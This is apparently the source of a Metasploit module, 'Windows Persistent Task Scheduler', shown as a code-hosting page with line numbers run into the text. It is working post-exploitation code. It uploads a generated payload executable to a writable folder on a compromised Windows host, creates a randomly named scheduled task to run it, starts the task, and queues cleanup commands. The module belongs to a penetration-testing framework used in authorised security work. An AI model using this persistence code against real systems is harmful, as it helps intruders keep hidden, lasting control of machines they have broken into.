Path: blob/master/modules/exploits/windows/persistence/task_scheduler.rb
32071 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::Local::Persistence11prepend Msf::Exploit::Remote::AutoCheck12include Msf::Post::Windows::TaskScheduler1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Windows Persistent Task Scheduler',19'Description' => %q{20This module establishes persistence by creating a scheduled task to run a payload.21},22'License' => MSF_LICENSE,23'Author' => [ 'h00die' ],24'Platform' => [ 'win' ],25'Privileged' => true,26'SessionTypes' => [ 'meterpreter', 'shell' ],27'Targets' => [28[ 'Automatic', {} ]29],30'DefaultTarget' => 0,31'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],32'References' => [33['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],34['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],35['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']36],37'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler38'Notes' => {39'Stability' => [CRASH_SAFE],40'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],41'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]42}43)44)4546register_options(47[48OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),49OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),50]51)5253# not needed since this is not remote54deregister_options(55'ScheduleRemoteSystem',56'ScheduleUsername',57'SchedulePassword',58'ScheduleObfuscationTechnique' # prefer NONE so we can start our service59)60end6162def writable_dir63d = super64return session.sys.config.getenv(d) if d.start_with?('%')6566d67end6869def check70print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value71return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)7273begin74get_system_privs75rescue StandardError76return CheckCode::Safe('You need higher privileges to create scheduled tasks ')77end7879CheckCode::Appears('Likely exploitable')80end8182def upload_payload(dest_pathname)83payload_exe = generate_payload_exe84fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)85vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")86end8788def install_persistence89payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))90temp_path = writable_dir91payload_pathname = temp_path + '\\' + payload_name + '.exe'92upload_payload(payload_pathname)9394task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))95vprint_status("Creating task: #{task_name}")96begin97task_create(task_name, payload_pathname, { obfuscation: 'NONE' })98rescue TaskSchedulerObfuscationError => e99print_warning(e.message)100print_good('Task created without obfuscation')101rescue TaskSchedulerError => e102fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")103end104105vprint_status("Starting task: #{task_name}")106task_start(task_name)107schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb108@clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"109@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"110end111end112113114